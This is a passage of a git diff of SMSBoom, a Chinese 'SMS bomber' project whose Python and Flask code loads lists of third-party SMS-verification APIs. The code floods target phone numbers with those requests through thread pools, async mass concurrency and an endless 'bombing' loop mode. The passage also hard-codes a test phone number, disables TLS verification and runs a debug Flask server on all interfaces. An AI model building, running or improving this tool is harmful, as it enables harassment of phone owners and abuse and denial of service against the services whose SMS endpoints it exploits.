<span class="input-group-text">Data</span>
|
||||
</div>
|
||||
<textarea v-model="data" class="form-control" aria-label="With textarea" placeholder="发送的数据"></textarea>
|
||||
</div>
|
||||
|
||||
<br />
|
||||
|
||||
<div class="input-group">
|
||||
<div class="input-group-prepend">
|
||||
<span class="input-group-text">header</span>
|
||||
</div>
|
||||
<textarea v-model="header" class="form-control" aria-label="With textarea"
|
||||
placeholder="自定义header(可选)"></textarea>
|
||||
</div>
|
||||
|
||||
<div class="input-group mb-3">
|
||||
<div class="input-group-prepend">
|
||||
<span class="input-group-text" id="basic-addon1">请求方法</span>
|
||||
</div>
|
||||
<input v-model="method" type="text" class="form-control" placeholder="GET or POST">
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div v-if="resp">
|
||||
<div v-if="resp.status === '1'" class="alert alert-danger" role="alert">
|
||||
<b>接口报错!Msg:</b> {{ resp.msg }}
|
||||
</div>
|
||||
|
||||
<div v-else>
|
||||
<div class="alert alert-success" role="alert">
|
||||
<b>测试成功!Msg:</b> {{ resp.msg }}
|
||||
</div>
|
||||
<div class="alert alert-success" role="alert">
|
||||
<b>接口响应:</b> {{ resp.data }}
|
||||
</div>
|
||||
</div>
|
||||
|
||||
</div>
|
||||
|
||||
<div v-else-if="error === 1">
|
||||
<div class="alert alert-danger" role="alert">
|
||||
<b>请求失败,请检查接口 Why:</b> {{ resp }}
|
||||
接口地址: <code>{{ api }}</code>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<button v-on:click="call_api('/testapi/');" type="button" class="btn btn-primary">测试接口</button>
|
||||
<button v-on:click="call_api('/submitapi/');" type="button" class="btn btn-primary">提交接口</button>
|
||||
<button v-on:click="call_api('/backapi/');" type="button" class="btn btn-primary">备份接口</button>
|
||||
</div>
|
||||
</div>
|
||||
</body>
|
||||
<script>
|
||||
// server 地址 结尾不要加 /
|
||||
var api = "";
|
||||
var app = new Vue({
|
||||
el: '#app',
|
||||
data: {
|
||||
api: api,
|
||||
data: '',
|
||||
url: '',
|
||||
header: '',
|
||||
phone: '',
|
||||
method: '',
|
||||
resp: '',
|
||||
error: '',
|
||||
desc:''
|
||||
},
|
||||
methods: {
|
||||
gen_json: function () {
|
||||
let datas = {
|
||||
"url": this.url,
|
||||
"data": this.data,
|
||||
"header": this.header,
|
||||
"phone": this.phone,
|
||||
"method": this.method,
|
||||
"desc": this.desc,
|
||||
};
|
||||
console.log(datas);
|
||||
return datas;
|
||||
},
|
||||
call_api: function (url) {
|
||||
let data = this.gen_json()
|
||||
if (data) { data = JSON.stringify(data) };
|
||||
layer.msg('请求接口中', {
|
||||
icon: 16
|
||||
, shade: 0.01
|
||||
});
|
||||
axios({
|
||||
method: 'post',
|
||||
url: url,
|
||||
headers: { 'Content-Type': 'application/json;charset=UTF-8' },
|
||||
data: data
|
||||
})
|
||||
.then((response) => {
|
||||
this.resp = response.data;
|
||||
layer.closeAll('loading');
|
||||
console.log("请求发送成功!");
|
||||
console.log(this.resp.msg);
|
||||
})
|
||||
.catch((why) => {
|
||||
this.error = true;
|
||||
this.resp = why;
|
||||
console.log(why);
|
||||
layer.msg("请求失败!");
|
||||
layer.closeAll('loading');
|
||||
});
|
||||
}
|
||||
},
|
||||
});
|
||||
</script>
|
||||
|
||||
</html>
|
||||
16
flask_app/templates/api_edit.html
Executable file
@@ -0,0 +1,16 @@
|
||||
{% extends 'admin/model/edit.html' %}
|
||||
|
||||
{% block body %}
|
||||
<h2>短信接口添加</h2>
|
||||
<p>替换字符: 手机号<code>[phone]</code> 时间戳<code>[timestamp]</code></p>
|
||||
{{ super() }}
|
||||
<input type="text" value="{{ current_app.config.get("TEST_PHONE") }}" id="phone">
|
||||
<input type="button" class="btn btn-primary" value="测试接口" id="test">
|
||||
{% endblock %}
|
||||
|
||||
|
||||
{% block tail %}
|
||||
<div id="error" class="alert alert-danger" style="display: none;">请求错误!</div>
|
||||
<div id="suc" class="alert alert-success" style="display: none;">请求成功!</div>
|
||||
<script src="/static/test.js" type="text/javascript"></script>
|
||||
{% endblock %}
|
||||
31
flask_app/utils.py
Executable file
@@ -0,0 +1,31 @@
|
||||
# encoding=utf8
|
||||
import httpx
|
||||
from .model import API, default_header
|
||||
|
||||
|
||||
def test_resq(api: API, phone) -> httpx.Response:
|
||||
"""测试 API 返回响应
|
||||
:param api: API model
|
||||
:param phone: 手机号
|
||||
:return: httpx 请求对象.
|
||||
"""
|
||||
api = api.handle_API(phone)
|
||||
with httpx.Client(headers=default_header, timeout=8) as client:
|
||||
# 这个判断没意义.....但是我不知道怎么优化...
|
||||
# https://stackoverflow.com/questions/26685248/difference-between-data-and-json-parameters-in-python-requests-package
|
||||
# Todo: json 和 data 表单发送的问题,有些服务器不能解释 json,只能接受表单
|
||||
# sol: 1. 添加额外字段判断...
|
||||
if not isinstance(api.data, dict):
|
||||
print("data")
|
||||
resp = client.request(method=api.method, headers=api.header,
|
||||
url=api.url, data=api.data)
|
||||
else:
|
||||
print('json')
|
||||
resp = client.request(
|
||||
method=api.method, headers=api.header, url=api.url, json=api.data)
|
||||
|
||||
return resp
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
pass
|
||||
6
flask_app/views/__init__.py
Executable file
@@ -0,0 +1,6 @@
|
||||
from flask import Blueprint
|
||||
|
||||
main = Blueprint("main",__name__)
|
||||
|
||||
from . import views, error
|
||||
from .. import db
|
||||
16
flask_app/views/error.py
Executable file
@@ -0,0 +1,16 @@
|
||||
#!/usr/bin/python python3
|
||||
# coding=utf-8
|
||||
from . import main
|
||||
from flask import redirect, url_for
|
||||
|
||||
|
||||
@main.app_errorhandler(404)
|
||||
def page_not_found(e):
|
||||
"""注册应用全局错误处理"""
|
||||
print("404")
|
||||
return redirect(url_for('main.index'))
|
||||
|
||||
|
||||
@main.app_errorhandler(401)
|
||||
def authfail(e):
|
||||
return redirect('/static/401.jpg')
|
||||
30
flask_app/views/views.py
Executable file
@@ -0,0 +1,30 @@
|
||||
# encoding=utf8
|
||||
# flask app views
|
||||
from . import main
|
||||
import json
|
||||
from ..model import Apis, API
|
||||
from ..utils import test_resq
|
||||
from .. import logger
|
||||
import httpx
|
||||
from flask_app import db
|
||||
from flask import request, jsonify
|
||||
|
||||
|
||||
@main.route("/", methods=['GET', 'POST'])
|
||||
def index():
|
||||
return "index"
|
||||
|
||||
|
||||
@main.route("/testapi/", methods=['GET', 'POST'])
|
||||
def testapi():
|
||||
try:
|
||||
req = request.json
|
||||
api = API(**req)
|
||||
resp = test_resq(api, phone=req.get('phone'))
|
||||
print(resp.text)
|
||||
return jsonify({"status": 0, "resp": f"{resp.text}"})
|
||||
except httpx.HTTPError as why:
|
||||
return jsonify({"status": 1, "resp": f"HTTP请求错误:{why}"})
|
||||
except Exception as why:
|
||||
logger.exception(why)
|
||||
return jsonify({"status": 1, "resp": f"其他错误:{why}"})
|
||||
104
handle_api.py
Normal file
@@ -0,0 +1,104 @@
|
||||
# encoding=utf8
|
||||
# 维护 api.提供去重等功能
|
||||
from pathlib import Path
|
||||
import json
|
||||
from threading import Lock
|
||||
from queue import Queue
|
||||
from concurrent.futures import ThreadPoolExecutor
|
||||
import httpx
|
||||
from httpx import Limits
|
||||
import asyncio
|
||||
|
||||
from utils.sql import Sql
|
||||
from utils.req import reqFunc, default_header
|
||||
from utils.log import logger
|
||||
|
||||
path = Path(__file__).parent.absolute().joinpath("debug", "api.db")
|
||||
|
||||
sql = Sql(db_path=path)
|
||||
sql.newTable()
|
||||
lock = Lock()
|
||||
q = Queue()
|
||||
|
||||
|
||||
def read_url() -> str:
|
||||
global q
|
||||
with open("GETAPI.json", "r", encoding="utf8") as f:
|
||||
data = json.load(fp=f)
|
||||
for d in data:
|
||||
if not (
|
||||
(
|
||||
d.startswith("https://") or
|
||||
d.startswith("http://")
|
||||
) and ("[phone]" in d)
|
||||
):
|
||||
# print(f"{d}淘汰")
|
||||
continue
|
||||
q.put(d)
|
||||
logger.info(f"GETAPI接口总数:{q.qsize()}")
|
||||
return q
|
||||
|
||||
|
||||
def test():
|
||||
while not q.empty():
|
||||
i = q.get()
|
||||
if reqFunc(i, "19820294268"):
|
||||
with lock:
|
||||
sql.update(i)
|
||||
|
||||
|
||||
async def test2():
|
||||
while not q.empty():
|
||||
i = q.get()
|
||||
_i = i.replace("[phone]", "19820294267")
|
||||
async with httpx.AsyncClient(headers=default_header, timeout=100, limits=Limits(max_connections=1000, max_keepalive_connections=20), verify=False) as client:
|
||||
try:
|
||||
await client.get(_i)
|
||||
# if r.status_code == 200:
|
||||
sql.update(i)
|
||||
# logger.info("更新")
|
||||
except httpx.HTTPError as why:
|
||||
if why is None:
|
||||
logger.exception("未知的失败")
|
||||
logger.error(f"请求失败{type(why)}{why} {i}")
|
||||
except Exception as e:
|
||||
logger.error("全局失败")
|
||||
logger.exception(e)
|
||||
|
||||
|
||||
async def asMain():
|
||||
await asyncio.gather(
|
||||
|
||||
*(
|
||||
test2()
|
||||
for _ in range(150)
|
||||
)
|
||||
|
||||
)
|
||||
|
||||
|
||||
def save_api():
|
||||
"""保存api到 GETAPI.json 文件"""
|
||||
apis = sql.select()
|
||||
api_lst = [
|
||||
api
|
||||
for api in apis
|
||||
]
|
||||
with open("GETAPI.json", mode="w", encoding="utf8") as j:
|
||||
json.dump(fp=j, obj=api_lst, ensure_ascii=False)
|
||||
logger.success("写入到 GETAPI.json 成功!")
|
||||
|
||||
|
||||
def main():
|
||||
read_url()
|
||||
# with ThreadPoolExecutor(max_workers=1024) as pool:
|
||||
# for _ in range(1024):
|
||||
# pool.submit(test)
|
||||
loop = asyncio.get_event_loop()
|
||||
loop.run_until_complete(asMain())
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
# read_url()
|
||||
save_api()
|
||||
BIN
img/GIF111.gif
Executable file
|
After Width: | Height: | Size: 12 MiB |
BIN
img/cmd1.png
Executable file
|
After Width: | Height: | Size: 24 KiB |
BIN
img/cmd2.png
Executable file
|
After Width: | Height: | Size: 37 KiB |
BIN
img/e.g.1.png
Executable file
|
After Width: | Height: | Size: 22 KiB |
BIN
img/smsboom-logo.png
Executable file
|
After Width: | Height: | Size: 380 KiB |
BIN
img/test.gif
Executable file
|
After Width: | Height: | Size: 12 MiB |
BIN
img/test2.gif
Executable file
|
After Width: | Height: | Size: 4.8 MiB |
BIN
img/webui-test-2.png
Executable file
|
After Width: | Height: | Size: 180 KiB |
BIN
img/webui-test.png
Executable file
|
After Width: | Height: | Size: 183 KiB |
0
requirements-celery.txt
Normal file
BIN
requirements-dev.txt
Executable file
BIN
requirements.txt
Executable file
105
run_flask_app.py
Executable file
@@ -0,0 +1,105 @@
|
||||
# encoding=utf8
|
||||
# flask app 主文件
|
||||
import click
|
||||
from loguru import logger
|
||||
from pathlib import Path
|
||||
import json
|
||||
from flask_app import db, app
|
||||
from flask_app.model import Apis
|
||||
from utils.models import API
|
||||
|
||||
json_path = Path(app.root_path).parent.joinpath(
|
||||
"api.json")
|
||||
|
||||
|
||||
@click.command()
|
||||
@click.option('--drop', is_flag=True, help='重建数据库') # 设置选项
|
||||
def init(drop):
|
||||
"""初始化数据库"""
|
||||
if drop:
|
||||
db.drop_all()
|
||||
logger.info("删除数据库...准备重建..")
|
||||
db.create_all()
|
||||
logger.success("数据库创建成功")
|
||||
|
||||
|
||||
@click.command()
|
||||
@logger.catch()
|
||||
def json2sqlite():
|
||||
"""将json数据转为sqlite数据库"""
|
||||
j = json_path.read_text(encoding="utf8")
|
||||
|
||||
jss = json.loads(j)
|
||||
for js in jss:
|
||||
api = Apis(
|
||||
desc=str(js['desc']),
|
||||
url=str(js['url']),
|
||||
method=str(js['method']),
|
||||
data=str(js['data']),
|
||||
header=str(js['header'])
|
||||
)
|
||||
# print(api.desc)
|
||||
try:
|
||||
db.session.add(api)
|
||||
db.session.commit()
|
||||
logger.info(f"{api.desc} 写入成功!")
|
||||
except Exception as e:
|
||||
db.session.rollback() # 回滚
|
||||
logger.error(f"{api.desc}写入数据库错误:{e}")
|
||||
|
||||
logger.success("json To sqlite 成功!")
|
||||
|
||||
|
||||
@click.command()
|
||||
@logger.catch()
|
||||
def sqlite2json():
|
||||
"""将sqlite数据转为json"""
|
||||
apis = Apis.query.all()
|
||||
apis_ = []
|
||||
for api in apis:
|
||||
# print(api.url)
|
||||
if api.data is None:
|
||||
api.data = ""
|
||||
if api.header is None:
|
||||
api.header = ""
|
||||
data = {
|
||||
"desc": api.desc,
|
||||
"url": api.url,
|
||||
"method": api.method,
|
||||
"data": api.data,
|
||||
"header": api.header,
|
||||
}
|
||||
try:
|
||||
api = API(**data).handle_API()
|
||||
apis_.append(api.dict())
|
||||
except:
|
||||
pass
|
||||
# print(apis_)
|
||||
with open(json_path, mode="w", encoding="utf8") as j:
|
||||
try:
|
||||
json.dump(apis_, j, ensure_ascii=False, sort_keys=False, indent=4)
|
||||
logger.success("sqlite->json 成功!")
|
||||
except Exception:
|
||||
logger.exception("写入到 json 文件错误!")
|
||||
|
||||
|
||||
@click.command()
|
||||
@click.option('--host', '-h', help='监听地址', default="0.0.0.0")
|
||||
@click.option('--port', '-p', help='监听端口', default=9090)
|
||||
def start(host, port):
|
||||
"""启动 flask app"""
|
||||
app.run(host=host, port=port, debug=True)
|
||||
|
||||
|
||||
@click.group()
|
||||
def cli():
|
||||
pass
|
||||
|
||||
|
||||
cli.add_command(init)
|
||||
cli.add_command(start)
|
||||
cli.add_command(json2sqlite)
|
||||
cli.add_command(sqlite2json)
|
||||
|
||||
if __name__ == "__main__":
|
||||
cli()
|
||||
167
smsboom.py
Executable file
@@ -0,0 +1,167 @@
|
||||
# encoding=utf8
|
||||
# 短信测压主程序
|
||||
import json
|
||||
import pathlib
|
||||
import sys
|
||||
import time
|
||||
from concurrent.futures import ThreadPoolExecutor
|
||||
from typing import List, Union
|
||||
import asyncio
|
||||
|
||||
import click
|
||||
import httpx
|
||||
|
||||
from utils import default_header
|
||||
from utils.log import logger
|
||||
from utils.models import API
|
||||
from utils.req import reqFunc, runAsync
|
||||
|
||||
# current directory
|
||||
path = pathlib.Path(__file__).parent
|
||||
|
||||
|
||||
def load_json() -> List[API]:
|
||||
"""load json for api.json
|
||||
:return: api list
|
||||
"""
|
||||
json_path = pathlib.Path(path, 'api.json')
|
||||
if not json_path.exists():
|
||||
logger.error("Json file not exists!")
|
||||
# return None
|
||||
raise ValueError
|
||||
|
||||
with open(json_path.resolve(), mode="r", encoding="utf8") as j:
|
||||
try:
|
||||
datas = json.loads(j.read())
|
||||
APIs = [
|
||||
API(**data)
|
||||
for data in datas
|
||||
]
|
||||
logger.success(f"api.json 加载完成 接口数:{len(APIs)}")
|
||||
return APIs
|
||||
except Exception as why:
|
||||
logger.error(f"Json file syntax error:{why}")
|
||||
# return None
|
||||
raise ValueError
|
||||
|
||||
|
||||
def load_getapi() -> list:
|
||||
"""load GETAPI
|
||||
:return:
|
||||
"""
|
||||
json_path = pathlib.Path(path, 'GETAPI.json')
|
||||
if not json_path.exists():
|
||||
logger.error("GETAPI.json file not exists!")
|
||||
# return None
|
||||
raise ValueError
|
||||
|
||||
with open(json_path.resolve(), mode="r", encoding="utf8") as j:
|
||||
try:
|
||||
datas = json.loads(j.read())
|
||||
logger.success(f"GETAPI加载完成,数目:{len(datas)}")
|
||||
return datas
|
||||
except Exception as why:
|
||||
logger.error(f"Json file syntax error:{why}")
|
||||
# return None
|
||||
raise ValueError
|
||||
|
||||
|
||||
@click.command()
|
||||
@click.option("--thread", "-t", help="线程数(默认64)", default=64)
|
||||
@click.option("--phone", "-p", help="手机号,可传入多个再使用-p传递", prompt=True, required=True, multiple=True)
|
||||
@click.option('--super', "-s", is_flag=True, help="循环模式")
|
||||
@click.option('--interval', "-i", default=60, help="循环间隔时间(默认60s)", type=int)
|
||||
def run(thread: int, phone: Union[str, tuple], interval: int, super: bool = False):
|
||||
"""传入线程数和手机号启动轰炸,支持多手机号"""
|
||||
logger.info(f"循环模式:{super},手机号:{phone},线程数:{thread},循环间隔:{interval}")
|
||||
|
||||
with ThreadPoolExecutor(max_workers=thread) as pool:
|
||||
try:
|
||||
_api = load_json()
|
||||
_api_get = load_getapi()
|
||||
except ValueError:
|
||||
logger.error("读取接口出错!正在重新下载接口数据!....")
|
||||
update()
|
||||
sys.exit(1)
|
||||
i = 0
|
||||
if super:
|
||||
while True:
|
||||
i += 1
|
||||
logger.success(f"第{i}波轰炸开始!")
|
||||
for api in _api:
|
||||
pool.submit(reqFunc, api, phone)
|
||||
for api_get in _api_get:
|
||||
pool.submit(reqFunc, api_get, phone)
|
||||
logger.success(f"第{i}波轰炸提交结束!休息{interval}s.....")
|
||||
time.sleep(interval)
|
||||
else:
|
||||
for api in _api:
|
||||
pool.submit(reqFunc, api, phone)
|
||||
for api_get in _api_get:
|
||||
pool.submit(reqFunc, api_get, phone)
|
||||
|
||||
|
||||
@click.option("--phone", "-p", help="手机号,可传入多个再使用-p传递", prompt=True, required=True, multiple=True)
|
||||
@click.command()
|
||||
def asyncRun(phone):
|
||||
"""以最快的方式请求接口(真异步百万并发)"""
|
||||
_api = load_json()
|
||||
_api_get = load_getapi()
|
||||
apis = _api+_api_get
|
||||
|
||||
loop = asyncio.get_event_loop()
|
||||
loop.run_until_complete(runAsync(apis, phone))
|
||||
|
||||
|
||||
@click.option("--phone", "-p", help="手机号,可传入多个再使用-p传递", prompt=True, required=True, multiple=True)
|
||||
@click.command()
|
||||
def oneRun(phone):
|
||||
"""单线程(测试使用)"""
|
||||
_api = load_json()
|
||||
_api_get = load_getapi()
|
||||
apis = _api+_api_get
|
||||
|
||||
for api in apis:
|
||||
try:
|
||||
reqFunc(api, phone)
|
||||
except:
|
||||
pass
|
||||
|
||||
|
||||
@click.command()
|
||||
def update():
|
||||
"""从 github 获取最新接口"""
|
||||
GETAPI_json_url = f"https://hk1.monika.love/AdminWhaleFall/SMSBoom/master/GETAPI.json"
|
||||
API_json_url = f"https://hk1.monika.love/AdminWhaleFall/SMSBoom/master/api.json"
|
||||
logger.info(f"正在从GitHub拉取最新接口!")
|
||||
try:
|
||||
with httpx.Client(verify=False, timeout=10) as client:
|
||||
# print(API_json_url)
|
||||
GETAPI_json = client.get(
|
||||
GETAPI_json_url, headers=default_header).content.decode(encoding="utf8")
|
||||
api_json = client.get(
|
||||
API_json_url, headers=default_header).content.decode(encoding="utf8")
|
||||
|
||||
except Exception as why:
|
||||
logger.error(f"拉取更新失败:{why}请关闭所有代理软件多尝试几次!")
|
||||
else:
|
||||
with open(pathlib.Path(path, "GETAPI.json").absolute(), mode="w", encoding="utf8") as a:
|
||||
a.write(GETAPI_json)
|
||||
with open(pathlib.Path(path, "api.json").absolute(), mode="w", encoding="utf8") as a:
|
||||
a.write(api_json)
|
||||
logger.success(f"接口更新成功!")
|
||||
|
||||
|
||||
@click.group()
|
||||
def cli():
|
||||
pass
|
||||
|
||||
|
||||
cli.add_command(run)
|
||||
cli.add_command(update)
|
||||
cli.add_command(asyncRun)
|
||||
cli.add_command(oneRun)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
cli()
|
||||
57
smsboom_GUI.py
Normal file
@@ -0,0 +1,57 @@
|
||||
from tkinter import Tk, StringVar
|
||||
from tkinter import ttk
|
||||
|
||||
|
||||
class InputWidget(ttk.Frame):
|
||||
"""输入框,确认框"""
|
||||
|
||||
def __init__(self, parent=None):
|
||||
ttk.Frame.__init__(self, parent)
|
||||
self.parent = parent
|
||||
self.columnconfigure(0, weight=1)
|
||||
self.rowconfigure(0, weight=1)
|
||||
self.phone = StringVar()
|
||||
self.createWidget()
|
||||
|
||||
for child in self.winfo_children():
|
||||
child.grid_configure(padx=5, pady=5)
|
||||
|
||||
self.pack()
|
||||
|
||||
def createWidget(self):
|
||||
"""InputWidget"""
|
||||
ttk.Label(self, text="手机号:").grid(column=0, row=0, sticky='nsew')
|
||||
ttk.Entry(self, textvariable=self.phone).grid(
|
||||
column=1, row=0, columnspan=3, sticky='nsew')
|
||||
ttk.Button(self, text="启动轰炸").grid(
|
||||
column=4, row=0, sticky='nsew')
|
||||
|
||||
|
||||
class Application(ttk.Frame):
|
||||
"""APP main frame"""
|
||||
|
||||
def __init__(self, parent=None):
|
||||
ttk.Frame.__init__(self, parent)
|
||||
self.parent = parent
|
||||
# 伸缩
|
||||
self.columnconfigure(0, weight=1)
|
||||
self.rowconfigure(0, weight=1)
|
||||
self.createWidget()
|
||||
# 间隔
|
||||
for child in self.winfo_children():
|
||||
child.grid_configure(padx=5, pady=5)
|
||||
|
||||
self.pack()
|
||||
|
||||
def createWidget(self):
|
||||
"""Widget"""
|
||||
input_wiget = InputWidget(self)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
root = Tk()
|
||||
root.title("SMSBoom - 短信轰炸机 ©落落")
|
||||
root.columnconfigure(0, weight=1)
|
||||
root.rowconfigure(0, weight=1)
|
||||
Application(parent=root)
|
||||
root.mainloop()
|
||||
176
smsboom_pyinstall.py
Executable file
@@ -0,0 +1,176 @@
|
||||
# encoding=utf8
|
||||
# 短信测压主程序
|
||||
import pathlib
|
||||
import sys
|
||||
from typing import List, Union
|
||||
import click
|
||||
import json
|
||||
import httpx
|
||||
from loguru import logger
|
||||
from concurrent.futures import ThreadPoolExecutor
|
||||
import time
|
||||
import sys
|
||||
import os
|
||||
from utils import API, default_header
|
||||
|
||||
# logger config
|
||||
logger.remove()
|
||||
logger.add(
|
||||
sink=sys.stdout,
|
||||
format="<green>{time:YYYY-MM-DD at HH:mm:ss}</green> - <level>{level}</level> - <level>{message}</level>",
|
||||
colorize=True,
|
||||
backtrace=True
|
||||
)
|
||||
|
||||
# current directory by pyinstall
|
||||
path = os.path.dirname(os.path.realpath(sys.argv[0]))
|
||||
|
||||
|
||||
def load_json() -> List[API]:
|
||||
"""load json for api.json
|
||||
:return: api list
|
||||
"""
|
||||
json_path = pathlib.Path(path, 'api.json')
|
||||
if not json_path.exists():
|
||||
logger.error("Json file not exists!")
|
||||
# return None
|
||||
raise ValueError
|
||||
|
||||
with open(json_path.resolve(), mode="r", encoding="utf8") as j:
|
||||
try:
|
||||
datas = json.loads(j.read())
|
||||
APIs = [
|
||||
API(**data)
|
||||
for data in datas
|
||||
]
|
||||
logger.success(f"api.json 加载完成 接口数:{len(APIs)}")
|
||||
return APIs
|
||||
except Exception as why:
|
||||
logger.error(f"Json file syntax error:{why}")
|
||||
# return None
|
||||
raise ValueError
|
||||
|
||||
|
||||
def load_getapi() -> list:
|
||||
"""load GETAPI
|
||||
:return:
|
||||
"""
|
||||
json_path = pathlib.Path(path, 'GETAPI.json')
|
||||
if not json_path.exists():
|
||||
logger.error("GETAPI.json file not exists!")
|
||||
# return None
|
||||
raise ValueError
|
||||
|
||||
with open(json_path.resolve(), mode="r", encoding="utf8") as j:
|
||||
try:
|
||||
datas = json.loads(j.read())
|
||||
logger.success(f"GETAPI加载完成,数目:{len(datas)}")
|
||||
return datas
|
||||
except Exception as why:
|
||||
logger.error(f"Json file syntax error:{why}")
|
||||
# return None
|
||||
raise ValueError
|
||||
|
||||
|
||||
def reqAPI(api: API, client: httpx.Client) -> httpx.Response:
|
||||
if isinstance(api.data, dict):
|
||||
resp = client.request(method=api.method, json=api.data,
|
||||
headers=api.header, url=api.url)
|
||||
else:
|
||||
resp = client.request(method=api.method, data=api.data,
|
||||
headers=api.header, url=api.url)
|
||||
return resp
|
||||
|
||||
|
||||
def req(api: Union[API, str], phone: tuple):
|
||||
"""请求接口方法"""
|
||||
# 多手机号支持
|
||||
if isinstance(phone, tuple):
|
||||
phone_lst = [_ for _ in phone]
|
||||
else:
|
||||
phone_lst = [phone]
|
||||
with httpx.Client(headers=default_header, verify=False) as client:
|
||||
for ph in phone_lst:
|
||||
try:
|
||||
if isinstance(api, API):
|
||||
api = api.handle_API(ph)
|
||||
resp = reqAPI(api, client)
|
||||
logger.info(f"{api.desc}-{resp.text[:30]}")
|
||||
else:
|
||||
api = api.replace("[phone]", ph)
|
||||
resp = client.get(url=api, headers=default_header)
|
||||
logger.info(f"GETAPI接口-{resp.text[:30]}")
|
||||
except httpx.HTTPError as why:
|
||||
logger.error(f"{why.request.url}请求失败{why}")
|
||||
|
||||
|
||||
@click.command()
|
||||
@click.option("--thread", "-t", help="线程数(默认64)", default=64)
|
||||
@click.option("--phone", "-p", help="手机号,可传入多个再使用-p传递", prompt=True, required=True, multiple=True)
|
||||
@click.option('--super', "-s", is_flag=True, help="循环模式")
|
||||
@click.option('--interval', "-i", default=60, help="循环间隔时间(默认60s)", type=int)
|
||||
def run(thread: int, phone: Union[str, tuple], interval: int, super: bool = False):
|
||||
"""传入线程数和手机号启动轰炸,支持多手机号"""
|
||||
logger.info(f"循环模式:{super},手机号:{phone},线程数:{thread},循环间隔:{interval}")
|
||||
|
||||
with ThreadPoolExecutor(max_workers=thread) as pool:
|
||||
try:
|
||||
_api = load_json()
|
||||
_api_get = load_getapi()
|
||||
except ValueError:
|
||||
logger.error("读取接口出错!正在重新下载接口数据!....")
|
||||
update()
|
||||
sys.exit(1)
|
||||
i = 0
|
||||
if super:
|
||||
while True:
|
||||
i += 1
|
||||
logger.success(f"第{i}波轰炸开始!")
|
||||
for api in _api:
|
||||
pool.submit(req, api, phone)
|
||||
for api_get in _api_get:
|
||||
pool.submit(req, api_get, phone)
|
||||
logger.success(f"第{i}波轰炸提交结束!休息{interval}s.....")
|
||||
time.sleep(interval)
|
||||
else:
|
||||
for api in _api:
|
||||
pool.submit(req, api, phone)
|
||||
for api_get in _api_get:
|
||||
pool.submit(req, api_get, phone)
|
||||
|
||||
|
||||
@click.command()
|
||||
@click.option("-p", "--proxy", help="[!!暂时弃用该选项!!]GitHub 代理镜像(默认github.do)", default="https://github.do/")
|
||||
def update(proxy: str):
|
||||
"""从 github 获取最新接口"""
|
||||
GETAPI_json_url = f"https://hk1.monika.love/AdminWhaleFall/SMSBoom/master/GETAPI.json"
|
||||
API_json_url = f"https://hk1.monika.love/AdminWhaleFall/SMSBoom/master/api.json"
|
||||
logger.info(f"正在从GitHub拉取最新接口!")
|
||||
try:
|
||||
with httpx.Client(verify=False, timeout=10) as client:
|
||||
# print(API_json_url)
|
||||
GETAPI_json = client.get(GETAPI_json_url, headers=default_header).content.decode(encoding="utf8")
|
||||
api_json = client.get(API_json_url, headers=default_header).content.decode(encoding="utf8")
|
||||
|
||||
except Exception as why:
|
||||
logger.error(f"拉取更新失败:{why}请多尝试几次!")
|
||||
else:
|
||||
with open(pathlib.Path(path, "GETAPI.json").absolute(), mode="w", encoding="utf8") as a:
|
||||
a.write(GETAPI_json)
|
||||
with open(pathlib.Path(path, "api.json").absolute(), mode="w", encoding="utf8") as a:
|
||||
a.write(api_json)
|
||||
logger.success(f"接口更新成功!")
|
||||
|
||||
|
||||
@click.group()
|
||||
def cli():
|
||||
pass
|
||||
|
||||
|
||||
cli.add_command(run)
|
||||
cli.add_command(update)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
logger.info(f"当前脚本目录:{path}")
|
||||
cli()
|
||||
3
utils/__init__.py
Normal file
@@ -0,0 +1,3 @@
|
||||
default_header = {
|
||||
"User-Agent": "Mozilla/5.0 (Linux; U; Android 10; zh-cn; Mi 10 Build/QKQ1.191117.002) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/79.0.3945.147 Mobile Safari/537.36 XiaoMi/MiuiBrowser/13.5.40"
|
||||
}
|
||||
44
utils/log.py
Normal file
@@ -0,0 +1,44 @@
|
||||
# encoding=utf8
|
||||
# 日志模块
|
||||
from loguru import logger
|
||||
import pathlib
|
||||
import sys
|
||||
import os
|
||||
|
||||
# 终端日志输出格式
|
||||
stdout_fmt = '{level.icon} <cyan>{time:HH:mm:ss,SSS}</cyan> ' \
|
||||
'[<level>{level}</level>] ' \
|
||||
'<cyan>{thread.name}</cyan> ' \
|
||||
'<blue>{module}</blue>:<cyan>{line}</cyan> - ' \
|
||||
'<level>{message}</level>'
|
||||
|
||||
# 日志文件记录格式
|
||||
# logfile_fmt = '<light-green>{time:YYYY-MM-DD HH:mm:ss,SSS}</light-green> ' \
|
||||
# '[<level>{level: <5}</level>] ' \
|
||||
# '<cyan>{process.name}({process.id})</cyan>:' \
|
||||
# '<cyan>{thread.name: <10}({thread.id: <5})</cyan> | ' \
|
||||
# '<blue>{module}</blue>.<blue>{function}</blue>:' \
|
||||
# '<blue>{line}</blue> - <level>{message}</level>'
|
||||
|
||||
logfile_fmt = '<light-green>{time:YYYY-MM-DD HH:mm:ss,SSS}</light-green> ' \
|
||||
'[<level>{level}</level>] ' \
|
||||
'<blue>{module}</blue>.<blue>{function}</blue>:' \
|
||||
'<blue>{line}</blue> - <level>{message}</level>'
|
||||
|
||||
log_pathDir = pathlib.Path(os.getcwd()).resolve().joinpath('logs')
|
||||
if not log_pathDir.is_dir():
|
||||
log_pathDir.mkdir()
|
||||
log_path = log_pathDir.joinpath('run.log').resolve()
|
||||
|
||||
logger.remove()
|
||||
|
||||
if not os.environ.get('PYTHONIOENCODING'): # 设置编码
|
||||
os.environ['PYTHONIOENCODING'] = 'utf-8'
|
||||
|
||||
logger.add(sys.stderr, level='INFO', format=stdout_fmt, enqueue=True)
|
||||
# 输出到文件
|
||||
# logger.add(log_path, level='DEBUG', format=logfile_fmt,
|
||||
# enqueue=True, encoding='utf-8')
|
||||
|
||||
if __name__ == "__main__":
|
||||
logger.info("test")
|
||||
53
utils/models.py
Normal file
@@ -0,0 +1,53 @@
|
||||
# encoding=utf8
|
||||
# 一些模型
|
||||
from pydantic import BaseModel
|
||||
from typing import Union, Optional
|
||||
from datetime import datetime
|
||||
import json
|
||||
from utils import default_header
|
||||
|
||||
class API(BaseModel):
|
||||
